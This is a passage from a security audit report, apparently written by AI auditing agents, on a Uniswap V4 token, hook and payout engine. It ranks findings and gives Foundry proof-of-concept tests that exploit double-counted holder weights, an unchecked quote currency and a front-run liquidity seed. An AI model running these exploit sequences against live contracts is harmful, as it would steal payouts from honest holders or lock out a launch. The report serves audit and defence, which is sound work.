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Audit the three Ponzinomics contracts in src/pimdad23ef13

Audit the three Ponzinomics contracts in src/pimd: PimdToken, a fixed-supply ERC-20 of exactly 1,000,000,000 at 18 decimals with no owner, no mint and no burn; PimdHook, a Uniswap V4 hook that taxes every trade in IMD (2.4% on buys, 5.6% on sells) split 75% to holders and 25% to the team, taking fees as ERC-6909 claims on the quote currency; and PimdEngine, which pushes the holders' IMD into wallets weighted by balance times hold-streak across paged tally and pay calls.

The hook is deployed by the IMD launch factory, which constructs it with only the pool manager and the token and opens the pool itself, so everything else is a source constant. Five things deserve the hardest look.

First, beforeRemoveLiquidity is the entire safety case for letting the launch factory hold the liquidity position: it must refuse every negative liquidityDelta forever, from any caller including the position's owner and including the hook itself, while allowing a zero delta so the pool's own fee collection still works. If any path can withdraw liquidity, that is the finding that matters most.

Second, beforeAddLiquidity must allow exactly one add, the factory's seed, and refuse every subsequent one; check for any way to slip a second through, including reentrancy and the hook calling itself.

Third, beforeInitialize is the only gate on the pool's shape: confirm it cannot be bypassed and that every assumption the tax maths makes is actually enforced there, in particular that the quote currency is currency0, since every fee calculation depends on it and the token's address is no longer mined.

Fourth, the fee accounting: that claims minted in beforeSwap and afterSwap always equal holdersOwed plus teamOwed, that nothing can be double counted or stranded, and that flush cannot pay out more than was taken. Fifth, the engine must never read holder weights while the PoolManager is unlocked, which is where a flash borrower would stand, and one holder who cannot receive IMD must not be able to stall a batch.

Note also that the engine pulls from the hook inside a try/catch, which has already hidden one breakage from us: say whether that pattern is safe here. Report findings rather than fixing them, and do not propose changes to the economics, the tax rates, the split or the tier ladder.

Published

report: Identity-md/research/blob/main/jobs/ad23ef13-66b2-44ce-9cd3-172b051af105/_identitymd/README.md

Audit report

16 findings

Four agents audited the code as it is at 1b073df, each in one area, and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the code was changed or deployed.

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1.highPaged tally weighs live balances, so one bag of PIMD moved between pages is counted once per registered walletsrc/pimd/PimdEngine.sol:283

            uint256 bal = IERC20Min(token).balanceOf(a);

tally() reads each registered holder's current balanceOf on the page that reaches it, compares it only with that holder's own lastBal, and tally is permissionless with a caller-chosen page size. Nothing ties the pages of one epoch to a single balance snapshot.

One bag of PIMD can therefore register several wallets (register only needs the bag parked in the wallet at the moment of the call), and in every epoch the bag is parked in wallet A when the page containing A is tallied and moved to wallet B before the page containing B is tallied. Both wallets see bal == lastBal, so neither streak resets and neither blends; both are weighed at bag x tier.

With N wallets the same tokens carry N times their weight, totalWeight is inflated, and every honest holder's mulDiv(total, w, tw) share in pay() shrinks accordingly. fire(), tally() and pay() are all permissionless, so the whole sequence can run in one transaction as soon as lastFire + minInterval has passed; no keeper race and no PoolManager unlock is involved, so the _requireLocked() guard does not see it. pay() is correctly frozen on epochQuote and totalWeight; tally is the only inconsistent read.

Merged from audit_economics and audit_permissions, which reported the same mechanism. Fixing it means making one epoch's weights unmovable across pages: finish the tally in a single call, or weigh every page against balances fixed when the epoch fired (for example min(bal, lastBal) with increases counted from the next epoch, or a checkpointed read). This changes no rate, split or tier.

State: launched pool, engine bound and pot funded (100 IMD), tips set to 0 for clean numbers.

Wallet A holds BAG = 1,000,000 PIMD and registers; the bag is sent to wallet B, B registers; the bag is sent back to A.

Carol holds her own identical BAG and registers.

Registration order [A, B, carol], 15 days pass.

Calls: fire(); tally(1) (page ends after A, A weighed at BAG x 3); token.transfer(A -> B, BAG); tally(10) (B weighed at BAG x 3, carol at BAG x 3); pay(10).

Expected: A + B together receive at most what carol receives, since they held one bag between them for exactly as long.

Actual (test/scratch/PagingDoubleCount.t.sol, failing on this code): imd(A) + imd(B) = 41639116884859839266 wei, imd(carol) = 20819558442429919634 wei; the pair took two thirds of the epoch with the same bag carol held for one third.

Repeatable every epoch by moving the bag back before the first page.

proof · a Foundry test that fails on this code and passes once it is fixed

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {ModifyLiquidityParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {LiquidityAmounts} from "v4-periphery/src/libraries/LiquidityAmounts.sol";
import {HookMiner} from "v4-periphery/test/shared/HookMiner.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PimdToken} from "src/pimd/PimdToken.sol";
import {PimdHook} from "src/pimd/PimdHook.sol";
import {PimdEngine} from "src/pimd/PimdEngine.sol";

contract MockIMD is ERC20("Identity.md", "IMD", 18) {
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// The production hook writes the engine and team into its source; this only points them at test doubles.
contract HookHarness is PimdHook {
    address private immutable _engine;
    address private immutable _team;

    constructor(IPoolManager pm, address token_, address engine_, address team_) PimdHook(pm, token_) {
        _engine = engine_;
        _team = team_;
    }

    function engine() public view override returns (address) {
        return _engine;
    }

    function team() public view override returns (address) {
        return _team;
    }
}

/// tally() reads each holder's live balanceOf on the page that reaches it, and tally is permissionless with a
/// caller-chosen page size. Nothing ties the pages of one epoch to a single snapshot, so one bag of PIMD moved
/// between two registered wallets between two pages is weighed twice. Expected: two wallets that together hold
/// one bag are paid no more than a third wallet holding the same bag. Actual: they are paid twice as much.
contract PagingDoubleCountTest is Test {
    uint160 constant HOOK_FLAGS = uint160(
        Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG
            | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG
            | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG
    );
    int24 constant START_TICK = 129_000;
    int24 constant TICK_LOWER = 82_980;
    uint256 constant BAG = 1_000_000e18;

    IPoolManager manager;
    PoolModifyLiquidityTest lpRouter;
    MockIMD imd;
    PimdToken token;
    PimdHook hook;
    PimdEngine engine;
    PoolKey key;

    address team = makeAddr("team");
    address walletA = makeAddr("walletA");
    address walletB = makeAddr("walletB");
    address carol = makeAddr("carol");

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        lpRouter = new PoolModifyLiquidityTest(manager);
        imd = new MockIMD();

        engine = new PimdEngine(
            PimdEngine.Config({
                poolManager: address(manager),
                imd: address(imd),
                team: team,
                binder: address(this),
                dripBpsPerPeriod: 400,
                minInterval: 2 minutes,
                minBalance: 100_000e18,
                fireTip: 0,
                tipPerHolder: 0,
                maxCatchup: 6 hours
            })
        );

        token = PimdToken(_deployTokenAbove(address(imd)));

        bytes memory args = abi.encode(manager, address(token), address(engine), team);
        (address hookAddr, bytes32 salt) =
            HookMiner.find(address(this), HOOK_FLAGS, type(HookHarness).creationCode, args);
        hook = PimdHook(payable(address(new HookHarness{salt: salt}(manager, address(token), address(engine), team))));
        require(address(hook) == hookAddr, "hook addr");

        key = PoolKey({
            currency0: Currency.wrap(address(imd)),
            currency1: Currency.wrap(address(token)),
            fee: 12_500,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, TickMath.getSqrtPriceAtTick(START_TICK));
        uint256 amount = token.balanceOf(address(this)) * 9 / 10;
        uint128 liquidity = LiquidityAmounts.getLiquidityForAmount1(
            TickMath.getSqrtPriceAtTick(TICK_LOWER), TickMath.getSqrtPriceAtTick(START_TICK), amount
        );
        token.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity(
            key,
            ModifyLiquidityParams({
                tickLower: TICK_LOWER,
                tickUpper: START_TICK,
                liquidityDelta: int256(uint256(liquidity)),
                salt: 0
            }),
            ""
        );
        engine.bind(address(token), address(hook));

        // The pot is funded directly so the payout maths is the only thing under test.
        imd.mint(address(this), 100e18);
        imd.approve(address(engine), type(uint256).max);
        engine.seed(100e18);
    }

    function test_one_bag_moved_between_pages_is_not_weighed_twice() public {
        // One bag registers two wallets: register A holding it, pass it to B, register B, pass it back to A.
        // Carol holds an identical bag of her own. Registration order is [A, B, carol].
        token.transfer(walletA, BAG);
        _register(walletA);
        vm.prank(walletA);
        token.transfer(walletB, BAG);
        _register(walletB);
        vm.prank(walletB);
        token.transfer(walletA, BAG);
        token.transfer(carol, BAG);
        _register(carol);
        assertEq(engine.holderCount(), 3, "three registered");

        vm.warp(block.timestamp + 15 days); // everyone is in the same tier

        engine.fire();
        assertEq(uint8(engine.phase()), uint8(PimdEngine.Phase.Tally), "epoch open");

        // Page 1 weighs A with the bag, then the bag moves to B before page 2 weighs B with the same bag.
        engine.tally(1);
        vm.prank(walletA);
        token.transfer(walletB, BAG);
        if (engine.phase() == PimdEngine.Phase.Tally) engine.tally(10);
        assertEq(uint8(engine.phase()), uint8(PimdEngine.Phase.Pay), "tallied");
        engine.pay(10);
        assertEq(uint8(engine.phase()), uint8(PimdEngine.Phase.Idle), "paid");

        uint256 pair = imd.balanceOf(walletA) + imd.balanceOf(walletB);
        uint256 honest = imd.balanceOf(carol);
        assertGt(honest, 0, "carol was paid");
        // A and B held exactly one bag between them, for exactly as long as carol held hers.
        assertLe(pair, honest + 1, "one bag must not be paid twice: A+B took more than carol");
    }

    function _register(address who) internal {
        address[] memory a = new address[](1);
        a[0] = who;
        engine.register(a);
    }

    function _deployTokenAbove(address floor) internal returns (address) {
        bytes32 initHash = keccak256(type(PimdToken).creationCode);
        for (uint256 i; i < 100_000; ++i) {
            bytes32 salt = bytes32(i);
            address predicted = vm.computeCreate2Address(salt, initHash, address(this));
            if (uint160(predicted) > uint160(floor)) {
                PimdToken t = new PimdToken{salt: salt}();
                require(address(t) == predicted, "create2");
                return address(t);
            }
        }
        revert("no salt");
    }
}

2.mediumbeforeInitialize never checks that currency0 is IMD, so any ERC-20 sorting below PIMD can be bound as the quote foreversrc/pimd/PimdHook.sol:217

        if (c0 == address(token) || c0 == address(0)) revert BadCurrencyOrder();

The gate requires currency1 == PIMD and currency0 != PIMD and != address(0), then records quote = currency0 and sets launched for good. It never compares currency0 with IMD, although the engine at ENGINE_ADDRESS pays out its immutable imd and nothing else, every claim is minted against quoteId, flush take()s quote, and _book() reads imd.balanceOf.

The brief's point that every fee calculation depends on the quote being currency0 is satisfied (c1 is pinned to PIMD so c0 is the quote), but which token the quote is remains unchecked. PoolManager.initialize is permissionless and the sender argument is discarded, so the first caller after the hook has code decides the quote.

Preconditions: the factory's own initialize does not land in the same transaction as the hook's deployment (a window the launch factory code, which is not in this tree, would have to close), or the factory passes a wrong currency0 by mistake.

Consequences: the factory's IMD pool is refused with AlreadyLaunched and the hook is spent; if trading ever happens on the foreign-quote pool, flush pushes the foreign token to the engine, which books only IMD, so the holders' 75% is stranded with no sweep and the team is paid in the foreign token. Four specialists reported this (one as high, three as medium); merged here as medium because reachability depends on the factory window.

The hook already knows engine(), and the engine exposes imd() as a public immutable, so a one-line check (revert unless c0 == PimdEngine(engine()).imd()) pins the quote and also fails loudly on a chain where ENGINE_ADDRESS has no code. Checking the sender against the deployer is an alternative that also covers the seed.

State: a freshly deployed, unlaunched PimdHook for PIMD; junk = any other ERC-20 whose address sorts below PIMD.

Input: any address calls manager.initialize(PoolKey{currency0: junk, currency1: PIMD, fee: 12500, tickSpacing: 60, hooks: hook}, TickMath.getSqrtPriceAtTick(129000)).

Expected: the hook reverts, launched() stays false, and a later initialize with currency0 = IMD succeeds.

Actual (test/scratch/P1_WrongQuote.t.sol, the audit_economics proof, failing on this code with 'next call did not revert as expected'): the call succeeds, hook.launched() == true, hook.quote() == junk, and the IMD initialize then reverts AlreadyLaunched.

The audit_math proof (test/scratch/P3_InitFrontRun.t.sol) reproduces the same from a non-factory sender.

proof · a Foundry test that fails on this code and passes once it is fixed

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {HookMiner} from "v4-periphery/test/shared/HookMiner.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PimdToken} from "src/pimd/PimdToken.sol";
import {PimdHook} from "src/pimd/PimdHook.sol";
import {PimdEngine} from "src/pimd/PimdEngine.sol";

contract MockIMD is ERC20("Identity.md", "IMD", 18) {
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract HookHarness is PimdHook {
    address private immutable _engine;
    address private immutable _team;

    constructor(IPoolManager pm, address token_, address engine_, address team_) PimdHook(pm, token_) {
        _engine = engine_;
        _team = team_;
    }

    function engine() public view override returns (address) {
        return _engine;
    }

    function team() public view override returns (address) {
        return _team;
    }
}

/// The hook's tax, its claims, its flush and the engine's payout all assume currency0 is IMD, the asset the engine
/// was built for. beforeInitialize only checks that currency1 is PIMD, so any ERC-20 that sorts below PIMD is
/// accepted as the quote. PoolManager.initialize is permissionless, so whoever calls it first with a junk
/// currency0 spends the hook's single launch, and the real IMD pool can never open on this hook.
contract WrongQuoteTest is Test {
    uint160 constant HOOK_FLAGS = uint160(
        Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG
            | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG
            | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG
    );
    int24 constant START_TICK = 129_000;

    IPoolManager manager;
    MockIMD imd;
    MockIMD junk;
    PimdToken token;
    PimdHook hook;
    PimdEngine engine;

    address team = makeAddr("team");
    address attacker = makeAddr("attacker");

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        imd = new MockIMD();
        junk = new MockIMD(); // any other ERC-20 that sorts below PIMD

        engine = new PimdEngine(
            PimdEngine.Config({
                poolManager: address(manager),
                imd: address(imd),
                team: team,
                binder: address(this),
                dripBpsPerPeriod: 400,
                minInterval: 2 minutes,
                minBalance: 100_000e18,
                fireTip: 0.02e18,
                tipPerHolder: 0.0005e18,
                maxCatchup: 6 hours
            })
        );

        address floor = uint160(address(imd)) > uint160(address(junk)) ? address(imd) : address(junk);
        token = PimdToken(_deployTokenAbove(floor));

        bytes memory args = abi.encode(manager, address(token), address(engine), team);
        (address hookAddr, bytes32 salt) =
            HookMiner.find(address(this), HOOK_FLAGS, type(HookHarness).creationCode, args);
        hook = PimdHook(payable(address(new HookHarness{salt: salt}(manager, address(token), address(engine), team))));
        require(address(hook) == hookAddr, "hook addr");
    }

    function test_initialize_refuses_a_quote_that_is_not_imd() public {
        PoolKey memory bad = PoolKey({
            currency0: Currency.wrap(address(junk)),
            currency1: Currency.wrap(address(token)),
            fee: 12_500,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });

        // The hook must refuse a pool whose quote is not the asset the engine pays out.
        vm.prank(attacker);
        vm.expectRevert();
        manager.initialize(bad, TickMath.getSqrtPriceAtTick(START_TICK));

        // And the real pool still opens afterwards.
        PoolKey memory good = PoolKey({
            currency0: Currency.wrap(address(imd)),
            currency1: Currency.wrap(address(token)),
            fee: 12_500,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(good, TickMath.getSqrtPriceAtTick(START_TICK));
        assertTrue(hook.launched(), "launched on IMD");
        assertEq(Currency.unwrap(hook.quote()), address(imd), "the quote is IMD");
    }

    function _deployTokenAbove(address floor) internal returns (address) {
        bytes32 initHash = keccak256(type(PimdToken).creationCode);
        for (uint256 i; i < 100_000; ++i) {
            bytes32 salt = bytes32(i);
            address predicted = vm.computeCreate2Address(salt, initHash, address(this));
            if (uint160(predicted) > uint160(floor)) {
                PimdToken t = new PimdToken{salt: salt}();
                require(address(t) == predicted, "create2");
                return address(t);
            }
        }
        revert("no salt");
    }
}

3.mediumbeforeAddLiquidity gives the single permitted add to whoever is first, so a stranger's dust add locks the factory out of its seedsrc/pimd/PimdHook.sol:306

        if (seeded) revert LiquidityIsLocked();

The one-add rule is a boolean flipped on the first beforeAddLiquidity with no check of the sender, the range, the side or the size.

Between PoolManager.initialize and the factory's modifyLiquidity, any address can add dust liquidity through any router: a range strictly above the opening tick needs only IMD, which anyone holds. seeded flips to true, the factory's real single-sided seed of 90% of the supply reverts LiquidityIsLocked, and since nothing resets seeded or launched the pool stays essentially empty and the launch must be redone with a new hook.

The reentrancy and self-call routes the brief asks about are closed: seeded is written before the hook returns and beforeAddLiquidity makes no external call; the hook has no code path that calls modifyLiquidity, so the Hooks.noSelfCall skip is unreachable; unlockCallback only knows ACTION_FLUSH; and a reverting add reverts the flag with it.

The only remaining way to slip a wrong add through is this ordering one, and it exists only if the factory's initialize and seed are not in one transaction (or a reverted seed leaves the pool initialized but unseeded). Three specialists reported it; merged as medium.

Fixing it means tying the one add to the pool's opener (record the sender passed to beforeInitialize and require beforeAddLiquidity's sender to match) or requiring the add in initBlock; both keep the single-seed design.

State: pool initialized by the factory stand-in (hook.launched() == true, hook.seeded() == false), seed not yet sent.

Input: a stranger holding 1e18 IMD calls PoolModifyLiquidityTest.modifyLiquidity(key, {tickLower: 129060, tickUpper: 129120, liquidityDelta: 1e6, salt: 0}).

Expected: refused; hook.seeded() stays false and the factory's seed succeeds.

Actual (test/scratch/P2_FrontRunSeed.t.sol, the audit_economics proof, failing on this code with 'next call did not revert as expected'): the dust add succeeds, hook.seeded() == true, and the factory's seed of ~900M PIMD then reverts LiquidityIsLocked.

The audit_math proof (test/scratch/P3_InitFrontRun.t.sol) shows the same with liquidityDelta = 1 in the factory's own range.

proof · a Foundry test that fails on this code and passes once it is fixed

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {LiquidityAmounts} from "v4-periphery/src/libraries/LiquidityAmounts.sol";
import {HookMiner} from "v4-periphery/test/shared/HookMiner.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PimdToken} from "src/pimd/PimdToken.sol";
import {PimdHook} from "src/pimd/PimdHook.sol";
import {PimdEngine} from "src/pimd/PimdEngine.sol";

contract MockIMD is ERC20("Identity.md", "IMD", 18) {
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract HookHarness is PimdHook {
    address private immutable _engine;
    address private immutable _team;

    constructor(IPoolManager pm, address token_, address engine_, address team_) PimdHook(pm, token_) {
        _engine = engine_;
        _team = team_;
    }

    function engine() public view override returns (address) {
        return _engine;
    }

    function team() public view override returns (address) {
        return _team;
    }
}

/// A stand-in for the launch factory: holds the supply, initializes the pool and seeds it itself, as the real
/// factory does, so the hook sees the same `sender` for both calls.
contract MiniFactory is IUnlockCallback {
    IPoolManager immutable pm;

    constructor(IPoolManager pm_) {
        pm = pm_;
    }

    function open(PoolKey memory key, uint160 sqrtPriceX96) external {
        pm.initialize(key, sqrtPriceX96);
    }

    function seed(PoolKey memory key, ModifyLiquidityParams memory p) external {
        pm.unlock(abi.encode(key, p));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(pm), "pm");
        (PoolKey memory key, ModifyLiquidityParams memory p) = abi.decode(data, (PoolKey, ModifyLiquidityParams));
        (BalanceDelta delta,) = pm.modifyLiquidity(key, p, "");
        if (delta.amount0() < 0) _settle(key.currency0, uint256(uint128(-delta.amount0())));
        if (delta.amount1() < 0) _settle(key.currency1, uint256(uint128(-delta.amount1())));
        return "";
    }

    function _settle(Currency c, uint256 amount) internal {
        pm.sync(c);
        ERC20(Currency.unwrap(c)).transfer(address(pm), amount);
        pm.settle();
    }
}

/// beforeAddLiquidity accepts whichever add comes first, from anyone, in any range, of any size. If the factory's
/// initialize and seed are not in one transaction, a stranger's dust add between them takes the only slot, the
/// factory's seed is refused forever, and the hook, which can launch only once, is spent on an empty pool.
contract FrontRunSeedTest is Test {
    uint160 constant HOOK_FLAGS = uint160(
        Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG
            | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG
            | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG
    );
    int24 constant START_TICK = 129_000;
    int24 constant TICK_LOWER = 82_980;

    IPoolManager manager;
    MockIMD imd;
    PimdToken token;
    PimdHook hook;
    PimdEngine engine;
    MiniFactory factory;
    PoolKey key;

    address team = makeAddr("team");
    address attacker = makeAddr("attacker");

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        imd = new MockIMD();
        factory = new MiniFactory(manager);

        engine = new PimdEngine(
            PimdEngine.Config({
                poolManager: address(manager),
                imd: address(imd),
                team: team,
                binder: address(this),
                dripBpsPerPeriod: 400,
                minInterval: 2 minutes,
                minBalance: 100_000e18,
                fireTip: 0.02e18,
                tipPerHolder: 0.0005e18,
                maxCatchup: 6 hours
            })
        );

        token = PimdToken(_deployTokenAbove(address(imd)));
        token.transfer(address(factory), token.balanceOf(address(this))); // the factory holds the supply

        bytes memory args = abi.encode(manager, address(token), address(engine), team);
        (address hookAddr, bytes32 salt) =
            HookMiner.find(address(this), HOOK_FLAGS, type(HookHarness).creationCode, args);
        hook = PimdHook(payable(address(new HookHarness{salt: salt}(manager, address(token), address(engine), team))));
        require(address(hook) == hookAddr, "hook addr");

        key = PoolKey({
            currency0: Currency.wrap(address(imd)),
            currency1: Currency.wrap(address(token)),
            fee: 12_500,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        factory.open(key, TickMath.getSqrtPriceAtTick(START_TICK));
        assertTrue(hook.launched(), "pool open, not yet seeded");
        assertFalse(hook.seeded(), "not yet seeded");
    }

    function test_a_stranger_cannot_take_the_factory_seed_slot() public {
        // A range strictly above the opening tick needs only IMD, which anyone has. Dust is enough.
        imd.mint(attacker, 1e18);
        PoolModifyLiquidityTest attackerRouter = new PoolModifyLiquidityTest(manager);
        vm.startPrank(attacker);
        imd.approve(address(attackerRouter), type(uint256).max);
        vm.expectRevert();
        attackerRouter.modifyLiquidity(
            key,
            ModifyLiquidityParams({tickLower: START_TICK + 60, tickUpper: START_TICK + 120, liquidityDelta: 1e6, salt: 0}),
            ""
        );
        vm.stopPrank();

        // The factory's own single-sided seed must still go through.
        uint256 amount = token.balanceOf(address(factory)) * 9 / 10;
        uint128 liquidity = LiquidityAmounts.getLiquidityForAmount1(
            TickMath.getSqrtPriceAtTick(TICK_LOWER), TickMath.getSqrtPriceAtTick(START_TICK), amount
        );
        factory.seed(
            key,
            ModifyLiquidityParams({
                tickLower: TICK_LOWER,
                tickUpper: START_TICK,
                liquidityDelta: int256(uint256(liquidity)),
                salt: 0
            })
        );
        assertTrue(hook.seeded(), "the factory seeded");
        assertGt(token.balanceOf(address(manager)), 800_000_000e18, "the supply is in the pool");
    }

    function _deployTokenAbove(address floor) internal returns (address) {
        bytes32 initHash = keccak256(type(PimdToken).creationCode);
        for (uint256 i; i < 100_000; ++i) {
            bytes32 salt = bytes32(i);
            address predicted = vm.computeCreate2Address(salt, initHash, address(this));
            if (uint160(predicted) > uint160(floor)) {
                PimdToken t = new PimdToken{salt: salt}();
                require(address(t) == predicted, "create2");
                return address(t);
            }
        }
        revert("no salt");
    }
}

4.mediumTax is charged on the specified amount, not the filled one: a partially filled exact-in buy or exact-out sell pays tax on IMD that never tradedsrc/pimd/PimdHook.sol:253
```
            fee = params.amountSpecified < 0 ? amt * bps / BPS : amt * bps / (BPS - bps);
```
For the two cases where IMD is the specified side (exact-in buy, exact-out sell) beforeSwap computes the fee from params.amountSpecified and mints that many claims before the pool has decided how much it can fill. A V4 swap stops at sqrtPriceLimitX96 or when the range runs out and returns the smaller delta, but the hook's BeforeSwapDelta of +fee is charged to the swapper in full and afterSwap books the whole fee into holdersOwed and teamOwed.

The claims == holdersOwed + teamOwed invariant still holds, so the ledger is consistent, but the stated economics (2.4% of a buy, 5.6% of a sell) are not: with a tight price limit a 1000 IMD offer that fills a sliver pays the full 24 IMD, and an exact-out sell asking for more IMD than the pool holds pays 5.6%/94.4% of the ask while receiving only what the pool has; had the pool held less than the fee the seller's IMD delta would have gone negative.

The two unspecified cases (exact-out buy, exact-in sell) are unaffected because their fee is computed in afterSwap from delta.amount0(). This is reachable by ordinary users through any router that allows partial fills, and is most likely exactly at the ends of the single range. Two specialists reported it; merged as medium.

Fixing it within the existing economics means computing the fee for all four cases in afterSwap from the executed IMD amount, returning it as the hook delta on the specified side; the rates and split are unchanged.
State: launched and seeded pool, past the init block and the launch-cap window.

Buy case: alice holds 1000 IMD and swaps zeroForOne, amountSpecified = -1000e18, sqrtPriceLimitX96 = spot - spot/20000.

Expected: tax within 5% of 2.4% of the IMD that actually traded.

Actual (test/scratch/PartialFillTax.t.sol, failing on this code): hook.totalTaxed() grew by 24000000000000000000 while only 3113002299885281 wei of IMD traded.

Sell case: after a 100 IMD buy the pool holds about 97 IMD; bob holds PIMD and swaps oneForZero, amountSpecified = +1000e18, limit MAX_SQRT_PRICE - 1.

Expected: tax within 5% of 5.6% of the IMD the pool paid out.

Actual: tax 59322033898305084745 wei against about 96.4 IMD paid out, 5.6% of which would be 5397279999999999999 wei.
5.lowflush is all-or-nothing across engine, team and tipper, so IMD refusing the fixed team wallet strands the holders' slice at the hooksrc/pimd/PimdHook.sol:389
```
            _payOut(team(), toTeam);
```
The engine deliberately survives one refused IMD recipient (gas-capped _send, failure logged, share back to the pot). The hook does not: unlockCallback burns claims and take()s to the engine, the team wallet and the caller in one unlock, and take() does a plain ERC-20 transfer, so a revert on any one leg reverts the whole flush and holdersOwed and teamOwed are restored. TEAM_WALLET and ENGINE_ADDRESS are source constants with no setter.

IMD is a third party's token whose owner powers the engine's own comments call unknown; if it ever refuses transfers to the team wallet, every flush from every caller reverts, holdersOwed grows forever as claims the hook can never burn, and fire() swallows the failure (next finding) and keeps dripping only from an unfed pot. The tipper leg is harmless because the caller picks themself. Three specialists reported it; merged as low because it needs IMD to refuse a fixed address.

A fix that keeps the split: pay the holders' and team's legs independently, or make the team leg best-effort and leave teamOwed in place on failure, so the holders' path never depends on the team address being transferable.
State: launched pool, one 100 IMD buy so holdersOwed = 1.8 IMD and teamOwed = 0.6 IMD; vm.mockCallRevert(imd, abi.encodeWithSignature('transfer(address,uint256)', team), 'blacklisted') stands in for IMD refusing the team wallet.

Input: keeper calls hook.flush().

Expected: the holders' 1.8 IMD reaches the engine.

Actual (test/scratch/Leads.t.sol::test_flush_is_all_or_nothing, passing as a demonstration): flush reverts, hook.holdersOwed() stays 1.8e18; two days later engine.fire() succeeds with imd.balanceOf(engine) == 0, pot == 0, holdersOwed unchanged, and exactly one engine event (Fired) emitted.
6.lowfire()'s empty catch around hook.flush() is safe for funds but hides every pull failure, and still tips the keepersrc/pimd/PimdEngine.sol:247
```
            try hook.flush() {} catch {}
```
Assessment of the pattern, as the brief asks. It is safe against value extraction: flush() is nonReentrant and its take() path makes no callback into the engine; fire() is nonReentrant and _requireLocked; the engine's ledger is only updated by _book() from the real IMD balance, so a failed or partial pull can never be booked as income; and the 63/64 gas trick is not practical because the work fire() still has to do after flush() needs far less gas than flush() itself.

It is not safe operationally, which is exactly how it already masked one breakage: the catch is empty, so a flush that reverts on every epoch (a hook whose ENGINE_ADDRESS is a different engine, IMD refusing the team wallet, a wrong quote) is indistinguishable on chain from a quiet market; fire() proceeds, lastFire advances, the drip is computed from a pot that never grows, and the keeper's fireTip is still paid from that pot for an epoch whose income never arrived.

Two edges besides: hook.holdersOwed() on the line above sits outside the try, so a hook whose view reverted would block fire() entirely (the opposite of the stated intent; not reachable with this hook), and Solidity does not route return-data decoding failures of flush() into the catch, so a hook returning malformed data would also revert fire(). Four specialists reported this; merged as low.

Minimal fix without changing behaviour: catch (bytes memory reason) and emit an event carrying it and the pending amount, and decide deliberately whether fireTip should be paid when the pull failed.
